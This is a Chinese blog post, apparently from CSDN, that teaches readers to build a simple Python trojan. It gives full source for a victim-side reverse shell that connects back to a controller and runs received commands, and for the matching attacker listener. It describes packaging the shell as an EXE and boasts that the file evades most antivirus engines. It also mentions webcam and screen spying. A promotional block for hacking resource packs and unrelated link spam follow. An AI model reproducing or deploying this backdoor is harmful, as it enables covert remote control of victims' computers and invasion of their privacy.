木马如何生成

 2025-07-02 22:22:51    703  

真不是标题党,这回咱不聊虚头巴脑的学习路线,直接上干货——手把手教你撸一个简易木马。 别误会,不是鼓励你搞破坏,而是让你知己知彼,更懂防御! 毕竟,天天用加载器生成木马,却不知道背后原理,跟盲人摸象有啥区别?虽然脚本能绕过360,但终究是治标不治本。

EXE程序:木马的“皮囊”,还是计算机的通用“语言”?

木马这玩意儿,说白了就是寄生在网络上的间谍,靠客户端和服务端之间的秘密通信来搞事情。而EXE程序,作为Windows系统上的“通用货币”,自然成了木马最爱的伪装。

但你有没有想过,为啥木马可以用C、Python、Go这些看似风马牛不相及的语言来写? 这就得祭出“计算机组成原理”这门神课了。 简单来说,我们写的高级语言,最终都要翻译成机器才能懂的“机器语言”才能跑起来!

记住这俩关键点:

看到这,我当年也纳闷:这编译器是何方神圣,咋就能把高级语言翻译成汇编语言? 后来才知道,这玩意儿本质上就是个“翻译官”,把常用的汇编指令封装成一个个函数,让你调用起来更方便。

所以,木马的本质还是机器指令在驱动,只不过我们用高级语言可以更高效地编写这些指令。 为了快速上手,咱也用Python这种“胶水语言”来写,站在巨人的肩膀上才能看得更远嘛!

Socket:木马的“通信线路”,还是“窃听风云”的幕后黑手?

先来个最简单的:服务端(被控制的电脑)和客户端(攻击机)的代码。

跑起来看看效果:

成了!一个简陋的交互式终端就这么诞生了。 其实就是用Socket在两台机器之间建立连接,然后把攻击机的指令发送过去,再把结果返回来。

等等,这只是个脚本,算不上木马吧? 简单,直接用pyinstaller打包成EXE:

pyinstaller --onefile 1.py

再跑一遍,看看能不能成功回连。

成了! 居然没报毒?看来这种简单的交互式木马,杀软都懒得理你。

摄像头+屏幕监控:木马的“眼睛”,还是隐私泄露的罪魁祸首?

光有终端还不够,咱再升级一下,加上摄像头监控和屏幕监控功能。 这次遇到了个坑:进程交互的时候,视频监控会导致阻塞。 后来发现是多线程没用好,改了几次才搞定。

先看看摄像头监控的效果:

然后是远程屏幕监控,用Socket实时传输图片数据,再用多线程避免阻塞,实现视频监控和终端交互两不误。

就这样,一个集监控、摄像、终端控制于一体的简易木马就诞生了! 当然,由于只是简化版,性能肯定受限,比如同时开屏幕监控和摄像头就容易卡死。 要想优化,还得学更多姿势。

免杀?不存在的!

这次复习计组,顺便研究了下木马,发现直接打包出来的EXE居然能过360和火绒!

48款杀软只有两款能测出来,估计是样本太小了。

所以,别迷信杀软,关键还是自己提高警惕!

钓鱼?防不胜防!

木马主要靠运行EXE文件来上线,所以不要随便下载软件。 有些木马还会藏在白程序里,像特洛伊木马一样,让你防不胜防。 以后有空再写一篇关于钓鱼的文章, 比如水坑攻击、钓鱼网站、压缩包木马等等。 只有真正了解这些套路,才能最大程度地避免上当。

代码?拿走不谢!

如果你也想自己撸一个木马来研究学习,可以私信我,完整版代码有点长,就不贴了。 下面是最初的交互版本:

被控端:

import socket

import subprocess

import os

def connect(ip, port):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((ip, port))

return s

def receive_commands(s):

while True:

command = s.recv(1024).decode()

if command.lower() == 'exit':

s.close()

break

elif command[:2] == 'cd':

os.chdir(command[3:])

s.send(b'Changed directory')

else:

result = subprocess.run(command, shell=True, capture_output=True)

s.send(result.stdout + result.stderr)

if __name__ == '__main__':

ip = '127.0.0.1' # 控制服务器的IP地址

port = 4444 # 控制服务器的端口

s = connect(ip, port)

receive_commands(s)

客户端:

import socket

def start_server(ip, port):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((ip, port))

s.listen(5)

print(f'[*] Listening on {ip}:{port}')

return s

def handle_client(client_socket):

while True:

command = input('> ')

client_socket.send(command.encode())

if command.lower() == 'exit':

break

result = client_socket.recv(4096).decode('gbk')

print(result)

if __name__ == '__main__':

ip = '127.0.0.1' # 控制服务器的IP地址

port = 4444 # 控制服务器的端口

server = start_server(ip, port)

client_socket, addr = server.accept()

print(f'[*] Connection from {addr}')

handle_client(client_socket)

记住,技术无罪,但用错了地方就是犯罪!

黑客/网络安全学习包

资料目录

成长路线图&学习规划

配套视频教程

SRC&黑客文籍

护网行动资料

黑客必读书单

面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************


深圳十大城市公园 深圳风景好的公园 深圳有哪些好玩的公园→MAIGOO生活榜
如何在快手上成网红:从零到百万粉丝的秘诀
友情链接